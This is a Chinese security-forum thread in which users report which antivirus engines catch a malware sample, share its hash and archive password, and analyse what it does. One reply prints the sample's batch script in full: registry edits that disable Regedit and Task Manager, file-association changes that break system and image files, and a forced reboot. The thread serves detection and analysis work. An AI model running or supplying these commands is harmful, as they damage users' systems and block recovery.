ESET miss

显示全部楼层 · 发表于 2021-1-31 19:21:32

解压密码：threatbook

显示全部楼层 · 发表于 2021-1-31 19:26:23

卡巴斯基 Kill
Avira Miss

显示全部楼层 · 发表于 2021-1-31 19:26:36

FSS miss

显示全部楼层 · 发表于 2021-1-31 19:27:01

诺顿

文件名: f38fe537ba3bb1fcadd99e95be791ed473379650feaef52ace6bf24f48e5b910
威胁名称: Heur.AdvML.B

显示全部楼层 · 发表于 2021-1-31 19:34:32

虚拟机运行后，自动重启，然后没发现什么毛病

显示全部楼层 · 发表于 2021-1-31 19:40:36

Avast DeepScreen拦截

显示全部楼层 · 发表于 2021-1-31 19:46:06

智量火绒不报

显示全部楼层 · 发表于 2021-2-1 10:22:17

就是个毁系统的程序，bat2exe封装的。
运行，首先回禁用regedit.exe和taskmgr.exe，然后调用shutdown.exe在1s后重启。然后就是更改文件关联

reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
assoc .sys=txtfile
assoc .dll=txtfile
assoc .jpg=txtfile
assoc .jpeg=txtfile
assoc .bmp=txtfile
assoc .png=txtfile
assoc .vbs=txtfile
assoc .js=txtfile
shutdown -r -t 001
exit

复制代码

显示全部楼层 · 发表于 2021-2-1 12:49:32

QVM360 发表于 2021-2-1 10:22
就是个毁系统的程序，bat2exe封装的。
运行，首先回禁用regedit.exe和taskmgr.exe，然后调用shutdown.exe ...

是先改关联再重启

显示全部楼层 · 发表于 2021-2-1 16:30:16

毒霸

[病毒样本] ESET miss